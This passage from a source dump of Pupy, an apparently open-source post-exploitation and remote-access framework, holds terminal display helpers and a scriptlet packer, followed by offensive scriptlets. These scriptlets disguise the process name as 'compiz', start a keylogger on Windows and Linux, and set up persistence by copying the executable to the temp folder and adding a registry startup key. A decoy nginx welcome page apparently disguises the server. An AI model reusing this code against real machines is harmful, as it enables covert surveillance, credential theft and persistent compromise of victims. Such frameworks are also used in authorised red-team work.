os.environ['COLUMNS'])\n        except:\n            return None\n\n    return int(cr[1]), int(cr[0])\n\n\ndef colorize(text, color, prompt=False):\n    to_str = False\n    color = color.lower()\n\n    if not isinstance(text, bytes):\n        to_str = True\n\n        text = text.encode(DEFAULT_MULTIBYTE_CP)\n\n    if color == 'random':\n        color = random.choice(COLORS)\n\n    ccode = COLORS.get(color)\n\n    if ccode:\n        ncode = NO_COLOR\n\n        if prompt:\n            ccode = b'\\001' + ccode + b'\\002'\n            ncode = b'\\001' + ncode + b'\\002'\n\n        text = b''.join([ccode, text, ncode])\n\n    if to_str:\n        text = text.decode(DEFAULT_MULTIBYTE_CP)\n\n    return text\n\n\ndef terminal_size():\n    h, w, hp, wp = struct.unpack(\n        'HHHH',\n        fcntl.ioctl(\n            0, termios.TIOCGWINSZ,\n            struct.pack('HHHH', 0, 0, 0, 0)\n        )\n    )\n\n    return w, h\n\n\ndef remove_esc(s, coding=DEFAULT_MULTIBYTE_CP):\n    encode = False\n\n    if not isinstance(s, bytes):\n        encode = True\n        s = s.decode(DEFAULT_MULTIBYTE_CP)\n\n    s = ESC_REGEX.sub(b'', s)\n\n    if encode:\n        s = s.encode(DEFAULT_MULTIBYTE_CP)\n\n    return s\n\n\ndef non_symbol_len(s, coding=DEFAULT_MULTIBYTE_CP):\n    if isinstance(s, bytes):\n        total_len = len(s.decode(coding, 'ignore'))\n    else:\n        total_len = len(s)\n        s = s.encode(coding)\n\n    return total_len - len(\n        ESC_REGEX.sub(b'', s).decode(coding, 'ignore')\n    )\n\n\ndef symbol_len(s, coding=DEFAULT_MULTIBYTE_CP):\n    if not s:\n        return 0\n\n    if not isinstance(s, bytes):\n        s = s.encode(coding)\n\n    return len(\n        ESC_REGEX.sub(b'', s).decode(coding, 'ignore')\n    )\n\n\ndef symbol_trunc(s, width, coding=DEFAULT_MULTIBYTE_CP):\n    if not s:\n        return s\n\n    if not isinstance(s, bytes):\n        s = s.encode(DEFAULT_MULTIBYTE_CP)\n\n    pos = 0\n    last_ascii_esc_end = 0\n\n    result = b''\n\n    in_escape_code = False\n\n    while True:\n        next_escape_code = ESC_REGEX.search(s, pos=pos)\n\n        if not next_escape_code:\n            # Rest of line is free of escape codes\n            # Decode it as unicode, cut necessary bytes\n            # Then encode back and put to result\n\n            result += s[pos:].decode(coding)[:width].encode(coding)\n            break\n\n        first_pos, last_pos = next_escape_code.span(0)\n\n        symbols_len = 0\n\n        if first_pos > pos:\n            # Consume non-escape part (or continuation)\n            first_symbols = s[pos:first_pos].decode(coding)\n            symbols_len = len(first_symbols)\n\n            if symbols_len >= width:\n                # Consume and stop\n                result += first_symbols[:width].encode(coding)\n                break\n\n        # We are either starting from escape sequence\n        # or need to consume it\n\n        result += s[pos:last_pos]\n\n        in_escape_code = True\n        pos = last_pos\n        width -= symbols_len\n\n        last_ascii_esc_end = last_pos\n\n    if in_escape_code:\n        # Likely we need to close current escape code\n        # Let's just find the last one and attach it\n\n        last_match = None\n\n        for match in ESC_REGEX.finditer(s, last_ascii_esc_end):\n            last_match = match\n\n        if last_match:\n            first_pos, last_pos = last_match.span(0)\n            result += s[first_pos:last_pos]\n\n    return result\n\n\ndef deep_as_bytes(obj):\n    objtype = type(obj)\n\n    if objtype is bytes:\n        return obj\n\n    elif issubclass(objtype, Hint):\n        pass\n\n    elif issubclass(objtype, dict):\n        for k in obj:\n            obj[k] = deep_as_bytes(obj[k])\n\n    elif issubclass(objtype, list):\n        for i, item in enumerate(obj):\n            obj[i] = deep_as_bytes(item)\n\n    elif issubclass(objtype, tuple):\n        obj = [None] * len(tuple)\n        for i, item in enumerate(obj):\n            obj[i] = deep_as_bytes(item)\n\n        obj = objtype(obj)\n\n    else:\n        obj = to_bytes(obj)\n\n    return obj\n\n\ndef get_columns_size(columns):\n    size_dic = {}\n\n    for column in columns:\n        for key, value in column.items():\n            value_elen = symbol_len(value)\n            if key not in size_dic or size_dic[key] < value_elen:\n                size_dic[key] = value_elen\n\n    return size_dic\n\n\ndef table_as_bytes(diclist, wl=[], bl=[], truncate=None, legend=True):\n    \"\"\"\n    this function takes a list a dictionaries to display in columns.\n    Dictionnaries keys are the columns names.\n    All dictionaries must have the same keys.\n    wl is a whitelist of column names to display\n    bl is a blacklist of columns names to hide\n    \"\"\"\n    res = []\n\n    if not diclist:\n        return b''\n\n    diclist = deep_as_bytes(diclist)\n\n    keys = [\n        (\n            x if isinstance(x, (tuple, list)) else (x, x)\n        ) for x in (wl if wl else diclist[0]) if x not in bl\n    ]\n\n    titlesdic = {}\n    for key, title in keys:\n        titlesdic[key] = title\n\n    if legend:\n        diclist.insert(0, titlesdic)\n\n    colsize = get_columns_size(diclist)\n    i = 0\n\n    for c in diclist:\n        if i == 1 and legend:\n            res.append(\n                b'-'*sum([\n                    k+2 for k in [\n                        y for x, y in colsize.items() if x in titlesdic\n                    ]\n                ])\n            )\n        i += 1\n\n        lines = []\n        for key, _ in keys:\n            value = deep_as_bytes(c.get(key, '').strip())\n            lines.append(value.ljust(colsize[key]+2 + non_symbol_len(value)))\n\n        res.append(b''.join(lines))\n\n    return b'\\n'.join(res)\n\n\ndef as_term_bytes(text, width=0):\n    if text is None:\n        return ''\n\n    hint = type(text)\n\n    if issubclass(hint, Hint) and not issubclass(hint, Text):\n        raise ValueError('as_term_bytes() support only Text messages')\n    elif issubclass(hint, Text):\n        pass\n    elif hint is bytes:\n        return text\n    elif hint is unicode:\n        return to_bytes(text)\n    else:\n        return deep_as_bytes(text)\n\n    if hint is NewLine:\n        return b'\\n' * int(text.data)\n\n    elif hint is Title:\n        if width <= 0:\n            real_width, _ = terminal_size()\n            width = real_width + width\n\n        title = as_term_bytes(text.data, width)\n        tlen = symbol_len(title)\n        ajust = width - tlen - 4\n        ljust = 0\n        rjust = 0\n\n        if ajust > 0:\n            ljust = ajust // 2\n            rjust = ajust - ljust\n\n        title = b'>>' + (b' '*ljust) + title + (b' '*rjust) + b'<<'\n        title = (b'-'*width) + b'\\n' + title + b'\\n' + (b'-'*width)\n\n        return colorize(title, 'lightyellow')\n\n    elif hint is MultiPart:\n        return b'\\n\\n'.join(\n            as_term_bytes(x, width) for x in text.data\n        )\n\n    elif hint is Indent:\n        return b'\\n'.join(\n            (b' '*text.indent) + x for x in as_term_bytes(\n                text.data, width).split(b'\\n')\n        )\n\n    elif hint is Color:\n        return colorize(\n            as_term_bytes(text.data, width), text.color\n        )\n\n    elif hint is TruncateToTerm:\n        if width <= 0:\n            real_width, _ = terminal_size()\n            width = real_width + width\n\n        text = as_term_bytes(text.data, width)\n        return b'\\n'.join(\n            symbol_trunc(x, width) for x in text.split(b'\\n')\n        )\n\n    elif hint is Error:\n        header = text.header\n        text = text.data\n        etype = type(text)\n\n        if issubclass(etype, Exception) and etype.__class__.__name__ != 'type':\n            text = '({}) {}'.format(type(text).__class__.__name__, text)\n\n        text = as_term_bytes(text, width).rstrip()\n        if header:\n            header = as_term_bytes(header, width)\n            text = colorize(header, 'yellow') + b': ' + text\n\n        return colorize(b'[-] ', 'red') + text\n\n    elif hint is Log:\n        return as_term_bytes(text.data, width).rstrip()\n\n    elif hint is Warn:\n        return colorize(\n            b'[!] ', 'yellow'\n        ) + as_term_bytes(text.data, width).rstrip()\n\n    elif hint is Success:\n        return colorize(\n            b'[+] ', 'green'\n        ) + as_term_bytes(text.data, width).rstrip()\n\n    elif hint is Info:\n        return colorize(\n            b'[%] ', 'grey'\n        ) + as_term_bytes(text.data, width).rstrip()\n\n    elif hint is ServiceInfo:\n        return b''.join([\n            colorize(b'[*] ', 'blue'),\n            as_term_bytes(text.data, width).rstrip()\n        ])\n\n    elif hint is Section:\n        levels = ('white', 'cyan', 'yellow', 'green')\n\n        if text.level < 4:\n            indent = 3 - text.level\n        else:\n            indent = 0\n\n        prefix = colorize(\n            (b'==' * indent) + b'> ',\n            levels[indent]\n        )\n\n        suffix = colorize(\n            b' <' + (b'==' * indent),\n            levels[indent]\n        )\n\n        return b'\\n'.join((\n            b''.join((\n                prefix, as_term_bytes(text.header, width), suffix\n            )),\n            as_term_bytes(text.data, width) if text.data else b''\n        ))\n\n    elif hint is Line:\n        return as_term_bytes(\n            text.dm, width\n        ).join(\n            as_term_bytes(v, width) for v in text.data\n        )\n\n    elif hint is List:\n        return (\n            as_term_bytes(\n                text.caption, width\n            ) + b'\\n' if text.caption else b''\n        ) + (\n            b'\\n'.join([\n                (\n                    b''.join((\n                        (b' '*text.indent),\n                        (\n                            as_term_bytes(text.bullet, width) + b' '\n                        ) if text.bullet else b'',\n                        as_term_bytes(x, width)\n                    ))\n                ) for x in text.data\n            ])\n        )\n\n    elif hint is Table:\n        table_data = [\n            {\n                k: as_term_bytes(v, width) for k, v in record.items()\n            } for record in text.data\n        ]\n\n        columns = set()\n        for record in table_data:\n            for column, value in record.items():\n                if value and (not text.headers or column in text.headers):\n                    columns.add(column)\n                    if hasattr(value, '__iter__') and not isinstance(\n                            value, bytes):\n                        record[column] = b';'.join(\n                            deep_as_bytes(x) for x in value\n                        )\n\n        headers = None\n        if text.headers:\n            headers = [\n                column for column in text.headers if column in columns\n            ]\n\n        else:\n            headers = list(columns)\n\n        return b''.join((\n            b'\\n'*text.vspace + b'{ ' + as_term_bytes(\n                text.caption, width\n            ) + b' }\\n' if text.caption else b'',\n            table_as_bytes(table_data, wl=headers, legend=text.legend),\n            b'\\n'*text.vspace\n        ))\n\n    elif hint is Hex:\n        content = text.data\n        if not isinstance(content, bytes):\n            content = content.encode(DEFAULT_MULTIBYTE_CP)\n\n        lines = []\n\n        for line in hexdump.dumpgen(content):\n            if text.colorize:\n                # Change to something HexdumpLexer knows\n                lines.append(line[:8] + ' ' + line[9:60] + '|' + line[60:] + '|')\n            else:\n                lines.append(line)\n\n        content = '\\n'.join(lines)\n\n        if text.colorize:\n            return as_term_bytes(\n                Pygment(HexdumpLexer(), content), width\n            )\n        else:\n            return content.encode(DEFAULT_MULTIBYTE_CP)\n\n    elif hint is Pygment:\n        lexer = text.lexer\n        text = as_term_bytes(text.data, width)\n        return highlight(text, lexer, TerminalFormatter(style=PYGMENTS_STYLE))\n\n    else:\n        raise NotImplementedError(\n            'as_term_bytes not implemented for {}'.format(\n                hint.__class__.__name__)\n        )\n"
  },
  {
    "path": "pupy/scriptlets/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n  'ScriptletArgumentError', 'Scriptlet',\n  'ScriptletsPacker', 'load_scriptlets'\n]\n\nimport sys\n\nfrom io import open\nfrom os import path, listdir\nfrom ast import (\n    parse,\n    FunctionDef,\n    Num, Name, Str, Expr, Assign, If,\n    Load, Param, NodeTransformer\n)\n\nfrom pupy.pupylib import getLogger\nfrom pupy.pupylib.payloads  import dependencies\nfrom pupy.pupylib.PupyCompile import Compiler\n\nfrom collections import OrderedDict\n\nif sys.version_info.major > 2:\n    basestring = str\n    long = int\n\nROOT = path.abspath(path.join(path.dirname(__file__), '..', 'packages'))\n\nlogger = getLogger('scriptlets')\n\nWRAPPING_TEMPLATE = '''\ndef __{scriptlet}_closure__():\n    try:\n       {scriptlet}_logger = logger.getChild(\"{scriptlet}\")\n       {scriptlet}_logger.debug('Start...')\n\n       # SCRIPTLET BODY GOES HERE\n       'PLACEHOLDER'\n\n       {scriptlet}_main(logger={scriptlet}_logger, pupy=pupy)\n       {scriptlet}_logger.debug('Done')\n\n    except Exception, e:\n        {scriptlet}_logger.exception(e)\n\n__{scriptlet}_closure__()\ndel __{scriptlet}_closure__\n'''\n\n\nclass AstCompiler(Compiler):\n    def __init__(self):\n        self._source_ast = None\n        self._main = False\n        self._docstrings = False\n        self._source_ast = False\n\n        NodeTransformer.__init__(self)\n\n    def add_ast(self, ast):\n        if not self._source_ast:\n            self._source_ast = ast\n        else:\n            self._source_ast.body.extend(ast.body)\n\n\nclass ScriptletArgumentError(Exception):\n    pass\n\n\nclass Scriptlet(object):\n\n    __slots__ = (\n        'description', 'dependencies', 'compatibility',\n        'arguments', 'name', 'ast'\n    )\n\n    def __init__(self, name, description, dependencies, compatibility, arguments, ast):\n        self.description = description\n        self.dependencies = dependencies\n        self.arguments = arguments\n        self.name = name\n        self.ast = ast\n        self.compatibility = compatibility\n\n\ndef select_body_by_os(item, target_os):\n    assert(type(item) == If)\n\n    if not (type(item.test) == Str and item.test.s.startswith('__os:') and \\\n            item.test.s.endswith('__')):\n        raise ValueError(\n            'Invalid OS selection statement, should be \"__os:target-os__\"')\n\n    required_os = item.test.s[5:-2]\n    if required_os == target_os:\n        return item.body\n    elif len(item.orelse) == 1 and type(item.orelse[0]) == If:\n        return select_body_by_os(item.orelse[0], target_os)\n    elif not item.orelse:\n        raise ValueError('Else statement should not be empty')\n\n    return item.orelse\n\ndef str_to_int(value):\n    if value.startswith('0x'):\n        value = int(value, 16)\n    elif value.startswith('0b'):\n        value = int(value, 2)\n    elif value.startswith('0o'):\n        value = int(value, 8)\n    else:\n        value = int(value)\n\n    return value\n\nclass ScriptletsPacker(object):\n    def __init__(self, os=None, arch=None):\n        self.scriptlets = OrderedDict()\n        self.os = os or 'all'\n        self.arch = arch\n\n    def add_scriptlet(self, scriptlet, kwargs={}):\n        self.scriptlets[scriptlet] = kwargs\n\n    def pack(self):\n        compiler = AstCompiler()\n\n        requirements = set()\n\n        for scriptlet in self.scriptlets:\n            if type(scriptlet.dependencies) == dict:\n                for dependency in scriptlet.dependencies.get('all', []):\n                    requirements.add(dependency)\n\n                for dependency in scriptlet.dependencies.get(self.os, []):\n                    requirements.add(dependency)\n            else:\n                for dependency in scriptlet.dependencies:\n                    requirements.add(dependency)\n\n        if requirements:\n            compiler.add_ast(\n                parse('\\n'.join([\n                    'import pupyimporter',\n                    dependencies.importer(requirements, os=self.os)\n                ]) +'\\n'))\n\n        for scriptlet, kwargs in self.scriptlets.items():\n            template = WRAPPING_TEMPLATE.format(\n                scriptlet=scriptlet.name)\n\n            # Select part with proper OS if any\n            # Should be top-level if statement if string test\n\n            while True:\n                os_selection_idx = None\n\n                for idx, item in enumerate(scriptlet.ast.body):\n                    if not (type(item) == If and type(item.test) == Str and \\\n                      item.test.s.startswith('__os:') and item.test.s.endswith('__')):\n                        continue\n\n                    os_selection_idx = idx\n                    break\n\n                if os_selection_idx is None:\n                    break\n\n                new_body = select_body_by_os(\n                    scriptlet.ast.body[os_selection_idx],\n                    self.os\n                )\n\n                scriptlet.ast.body = \\\n                  scriptlet.ast.body[:os_selection_idx] + \\\n                  new_body + scriptlet.ast.body[os_selection_idx+1:]\n\n            # Bind args\n            # There should be top level function main\n\n            main_found = False\n            shadow_kwargs = {'logger', 'pupy'}\n\n            for item in scriptlet.ast.body:\n                if not (type(item) == FunctionDef and item.name == 'main'):\n                    continue\n\n                main_found = True\n                lineno = 0\n                col_offset = 0\n\n                item.name = scriptlet.name + '_main'\n                for idx, (arg, value) in enumerate(zip(item.args.args, item.args.defaults)):\n                    lineno = value.lineno\n                    col_offset = value.col_offset\n                    vtype = type(value)\n\n                    if arg.id in shadow_kwargs:\n                        shadow_kwargs.remove(arg.id)\n                    elif arg.id in kwargs:\n                        default = kwargs[arg.id]\n                        if vtype == Num:\n                            if type(default) not in (int, long):\n                                default = str_to_int(default)\n\n                            value.n = default\n                        elif vtype == Str:\n                            if not isinstance(default, basestring):\n                                default = str(default)\n                            value.s = default\n                        elif vtype == Name:\n                            if value.id in ('True', 'False'):\n                                if default.lower() in ('true', 'yes', 'on', '1'):\n                                    value.id = 'True'\n                                elif default.lower() in ('false', 'no', 'off', '0'):\n                                    value.id = 'False'\n                                else:\n                                    raise ValueError('Expect True/False value for {}'.format(arg.id))\n                            else:\n                                new_value = None\n                                try:\n                                    new_value = Num(str_to_int(default))\n                                except ValueError:\n                                    new_value = Str(default)\n\n                                new_value.lineno = value.lineno\n                                new_value.col_offset = value.col_offset\n\n                                item.args.defaults[idx] = new_value\n\n\n                    elif vtype == Str and value.s.startswith('__global:') and value.s.endswith('__'):\n                        global_name = value.s[9:-2]\n                        global_ref = Name(global_name, Load())\n                        global_ref.lineno = value.lineno\n                        global_ref.col_offset = value.col_offset\n                        item.args.defaults[idx] = global_ref\n\n                for idx, shadow_kwarg in enumerate(shadow_kwargs):\n                    shadow_name = Name(shadow_kwarg, Param())\n                    shadow_name.lineno = lineno\n                    shadow_name.col_offset = col_offset + (idx*16)\n                    item.args.args.append(shadow_name)\n\n                    shadow_value = Name('None', Load())\n                    shadow_value.lineno = lineno\n                    shadow_value.col_offset = col_offset + (idx*16)+7\n                    item.args.defaults.append(shadow_value)\n\n                break\n\n            if not main_found:\n                raise ValueError(\n                    'Scriptlet {} - Invalid source code. '\n                    '\"def main():\" not found'.format(\n                        scriptlet.name))\n\n            placeholder_idx = None\n\n            # Wrap in try/except, and other things\n            template_ast = parse(template)\n            for item in template_ast.body:\n                if not(type(item) == FunctionDef and \\\n                       item.name == '__{}_closure__'.format(scriptlet.name)):\n                    continue\n\n                closure = item.body[0]\n\n                for idx, payload in enumerate(closure.body):\n                    if type(payload) is not Expr:\n                        continue\n\n                    if type(payload.value) is Str and payload.value.s == 'PLACEHOLDER':\n                        placeholder_idx = idx\n                        break\n\n                assert(placeholder_idx is not None)\n\n                closure.body = closure.body[:placeholder_idx] + scriptlet.ast.body + \\\n                  closure.body[placeholder_idx+1:]\n\n                break\n\n            if placeholder_idx is None:\n                raise ValueError('Template placeholder not found. Fill the bug report')\n\n            compiler.add_ast(template_ast)\n\n        return compiler.compile('sbundle', raw=True)\n\n\ndef parse_scriptlet(filedir, filename):\n    filepath = path.join(filedir, filename)\n    filecontent = None\n\n    name, _ = path.splitext(filename)\n\n    with open(filepath) as content:\n        filecontent = content.read()\n\n    fileast = None\n    fileast = parse(filecontent)\n\n    docstrings = []\n\n    # Search/evaluate/delete.\n    # 1. docstring\n    # 2. dependencies\n    # 3. arguments\n    # 4. compatibility\n\n    meta = parse('')\n\n    to_delete = []\n\n    for item in fileast.body:\n        if type(item) == Expr and type(item.value) == Str:\n            # docstring found\n            docstrings.append(item.value.s)\n        elif type(item) == Assign and all(\n            type(x) == Name and x.id.startswith('__') and \\\n            x.id.endswith('__') and x.id for x in item.targets\n        ):\n            # metadata found\n            meta.body.append(item)\n        else:\n            continue\n\n        to_delete.append(item)\n\n    for item in to_delete:\n        idx = fileast.body.index(item)\n        del fileast.body[idx]\n\n    metadata = compile(meta, 'metadata-'+filename, 'exec')\n    metadict = {}\n    exec (metadata, metadict)\n    del metadict['__builtins__']\n\n    docstring = '\\n'.join(\n        x.strip() for x in docstrings\n    )\n\n    return Scriptlet(\n        name,\n        docstring,\n        metadict.get('__dependencies__', []),\n        metadict.get('__compatibility__', None),\n        metadict.get('__arguments__', {}),\n        fileast\n    )\n\n\ndef iterate_scriptlet_files():\n    visited = set()\n\n    default_dir = path.dirname(__file__)\n\n    for filedir in (default_dir, 'scriptlets'):\n        if not path.isdir(filedir):\n            continue\n\n        filedir = path.abspath(filedir)\n        if filedir in visited:\n            continue\n\n        visited.add(filedir)\n\n        for filename in listdir(filedir):\n            if not filename.endswith('.py') or filename.startswith('_'):\n                continue\n\n            yield filedir, filename\n\n\ndef load_scriptlets(target_os, target_arch):\n\n    scriptlets = {}\n\n    for dirname, filename in iterate_scriptlet_files():\n        try:\n            scriptlet = parse_scriptlet(dirname, filename)\n            if scriptlet.compatibility and target_os != 'any' and target_os not in scriptlet.compatibility:\n                logger.info('Scriptlet {} is incompatible with {}'.format(\n                    scriptlet.name, target_os))\n                continue\n\n            scriptlets[scriptlet.name] = scriptlet\n\n        except SyntaxError as e:\n            logger.error(\n                'SyntaxError (scriptlet=%s:%s:+%s):\\nline: %s\\nError: %s',\n                filename, e.lineno, e.offset,\n                e.text.strip() if e.text else '',\n                e.msg\n            )\n\n        except IOError as e:\n            logger.debug(e)\n        except Exception as e:\n            logger.exception(e)\n\n    return scriptlets\n"
  },
  {
    "path": "pupy/scriptlets/daemonize.py",
    "content": "''' Daemonize the process at startup (posix only) '''\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__compatibility__ = ('linux', 'posix', 'unix')\n\nfrom io import open\nfrom os import fork, _exit, umask, name, setsid, dup2\nfrom pupy import infos\n\n\ndef main():\n    if name == 'posix':\n        infos['daemonize'] = True\n        if fork():   # launch child and...\n            _exit(0) # kill off parent\n        setsid()\n        if fork():   # launch child and...\n            _exit(0) # kill off parent again.\n        umask(0o22)   # Don't allow others to write\n        null = open('/dev/null', 'w+b')\n        for i in range(3):\n            try:\n                dup2(null.fileno(), i)\n            except OSError:\n                pass\n\n        null.close()\n"
  },
  {
    "path": "pupy/scriptlets/hide_argv.py",
    "content": "\"\"\" Change pupy process's name \"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__dependencies__ = {\n    'linux': ['hide_process']\n}\n\n__arguments__ = {\n    'name': 'Process name'\n}\n\n__compatibility__ = ('linux')\n\nimport hide_process\n\ndef main(name='compiz'):\n    hide_process.change_argv(argv=name)\n"
  },
  {
    "path": "pupy/scriptlets/keylogger.py",
    "content": "''' Start keylogger '''\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__dependencies__ = {\n    'windows': ['pupwinutils.keylogger', 'pupwinutils.hookfuncs'],\n    'linux': ['pupyps', 'display', 'keylogger']\n}\n\n__compatibility__ = ('windows', 'linux')\n\nif '__os:linux__':\n    from .keylogger import keylogger_start\n    from display import when_attached\n\n    def main():\n        when_attached(keylogger_start)\n\nelif '__os:windows__':\n    from pupwinutils.keylogger import keylogger_start\n\n    def main():\n        keylogger_start()\n"
  },
  {
    "path": "pupy/scriptlets/persistence.py",
    "content": "''' Execute persistence command '''\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__dependencies__ = {\n    'windows': ['pupwinutils.persistence'],\n}\n\n__arguments__ = {\n    'src': 'Copy from',\n    'directory': 'Where to store',\n    'filename': 'Filename',\n    'args': 'Command args',\n    'regkey': 'Registry key name',\n}\n\n__compatibility__ = ('windows')\n\nimport sys\nfrom shutil import copy\nfrom os import path\nfrom tempfile import gettempdir\nfrom uuid import getnode\nfrom hashlib import md5\n\nfrom pupwinutils.persistence import add_registry_startup\n\n\ndef main(src=None, directory=None, filename=None, args=None, regkey=None, logger=None, pupy=None):\n    if not directory:\n        directory = gettempdir()\n    else:\n        directory = path.expanduser(directory)\n        directory = path.expandvars(directory)\n\n    mid = md5('node={} cid={}'.format(\n            getnode(), pupy.cid)).hexdigest()\n\n    if not filename:\n        filename = mid[:8]+'.exe'\n\n    if not src:\n        src = sys.executable\n\n    if not regkey:\n        regkey = mid[-8:]\n\n    filepath = path.join(directory, filename)\n\n    cmd = filepath\n    if args:\n        cmd = '{} {}'.format(filepath, args)\n\n    logger.debug('reg: {}'.format(regkey))\n    logger.debug('src: {}'.format(src))\n    logger.debug('dst: {}'.format(filepath))\n    logger.debug('cmd: {}'.format(cmd))\n\n    if not path.isfile(filepath):\n        logger.debug('Copy: {} -> {}'.format(src, filepath))\n        copy(src, filepath)\n\n    if not add_registry_startup(cmd, regkey):\n        logger.error('add_registry_startup failed')\n"
  },
  {
    "path": "pupy/triggers/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = ('Triggers')\n\nimport os\nimport imp\n\nclass Triggers(object):\n    SUFFIXES = tuple([\n        suffix for suffix, _, rtype in imp.get_suffixes() \\\n        if rtype == imp.PY_SOURCE\n    ])\n\n    def __init__(self):\n        self._triggers = {}\n        self._triggers_stats = {}\n        self._folders_stats = {}\n        self._refresh()\n\n    def _refresh(self):\n        triggers_paths = [\n            os.path.dirname(__file__), 'triggers'\n        ]\n\n        triggers = {}\n        dups = set()\n\n        for path in triggers_paths:\n            path = os.path.abspath(path)\n            if path in dups:\n                continue\n\n            dups.add(path)\n\n            try:\n                path_st_mtime = os.stat(path).st_mtime\n            except OSError:\n                continue\n\n            if self._folders_stats.get(path, None) == path_st_mtime:\n                continue\n\n            self._folders_stats[path] = path_st_mtime\n\n            triggers.update({\n                '.'.join(x.rsplit('.', 1)[:-1]):os.path.join(path, x) \\\n                for x in os.listdir(path) if x.endswith(self.SUFFIXES) and \\\n                not x.startswith('__init__')\n            })\n\n        for trigger in triggers:\n            source = triggers[trigger\n            ]\n            try:\n                current_stat = os.stat(source)\n            except OSError:\n                continue\n\n            if trigger not in self._triggers or self._triggers_stats[trigger] != current_stat.st_mtime:\n                try:\n                    self._triggers[trigger] = imp.load_source(trigger, source)\n                    self._triggers_stats[trigger] = current_stat.st_mtime\n                except IOError:\n                    pass\n\n    def execute(self, trigger_name, event_name, client, server, handler, config, **kwargs):\n        self._refresh()\n        trigger = self._triggers.get(trigger_name, None)\n        if trigger_name is None:\n            return\n\n        trigger.execute(event_name, client, server, handler, config, **kwargs)\n"
  },
  {
    "path": "pupy/triggers/example_trigger.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\ndef execute(event_name, client, server, handler, config, **kwargs):\n    server.info(\n        'Event: {}, client={}, server={}, handler={}, config={}, kwargs={}'.format(\n            event_name, client, server, handler, config, kwargs))\n"
  },
  {
    "path": "pupy/triggers/notification.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nIGNORED_EVENTS = (\n    'start', 'exit', 'connect', 'disconnect', 'job completed'\n)\n\nimport datetime\n\ndef execute(event_name, client, server, handler, config, **kwargs):\n    if event_name in IGNORED_EVENTS:\n        return\n\n    client_id = ''\n    if 'id' in kwargs:\n        client_id = 'session={}'.format(kwargs['id'])\n    elif 'node' in kwargs and kwargs['node']:\n        if type(kwargs['node']) in (int, long):\n            client_id = '{:012x}'.format(kwargs['node'])\n        else:\n            client_id = kwargs['node']\n\n    if 'sid' in kwargs:\n        if client_id:\n            client_id += '/'\n\n        if type(kwargs['sid']) in (int, long):\n            client_id += 'sid:{:08x}'.format(kwargs['sid'])\n        else:\n            client_id += 'sid:'+kwargs['sid']\n\n    if 'node' in kwargs:\n        tags = str(config.tags(kwargs['node']))\n        if tags:\n            if client_id:\n                client_id += '/'\n\n            client_id += '{}'.format(tags)\n\n    server.info('Event ({}): {} ({})'.format(\n        datetime.datetime.now(), event_name, client_id))\n"
  },
  {
    "path": "pupy/webstatic/index.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <title>Pupy Web Interface</title>\n        <meta charset=\"utf-8\">\n    </head>\n    <body>\n        Pupy Web Interface :)\n    </body>\n</html>\n"
  },
  {
    "path": "pupy/webstatic/nginx_index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\n    body {\n        width: 35em;\n        margin: 0 auto;\n        font-family: Tahoma, Verdana, Arial, sans-serif;\n    }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n"
  },
  {
    "path": "pupy/webstatic/rdesktop/index.html",
    "content": "<html>\n<head>\n    <script src=\"static/jquery-3.2.1.min.js\"></script>\n    <script src=\"static/rdesktop/rdesktop.js\"></script>\n</head>\n<body>\n    <script type=\"text/javascript\">\n        var rdHandler = null;\n        $(document).ready(function() {\n            if (!(\"WebSocket\" in window)) {\n                $('#messages').append(\"Your browser does not support websocket !\");\n            }\n\t    \n            else{\n                window.rdHandler = new RDHANDLER({{port}});\n\t\twindow.rdHandler.start();\n            }\n            //disable image drag\n            $(\"#screenimg\").bind('dragstart', function(){\n                return false; \n            });\n\t    \n            $( \"#screen\" ).mousemove(function( event ) {\n                window.rdHandler.on_mouse_move(event);\n            });\n\t    \n            $( \"#screen\" ).click(function( event ) {\n                window.rdHandler.on_click(event);\n            });\n\t    \n            $( \"body\" ).keypress(function( event ) {\n                window.rdHandler.on_key_press(event);\n            });\n        });\n    </script>\n\n  <div id=\"screen\">\n        <img id=\"screenimg\"></img>\n    </div>\n    <div id=\"messages\"></div>\n</body>\n</html>\n"
  },
  {
    "path": "pupy/webstatic/rdesktop/rdesktop.js",
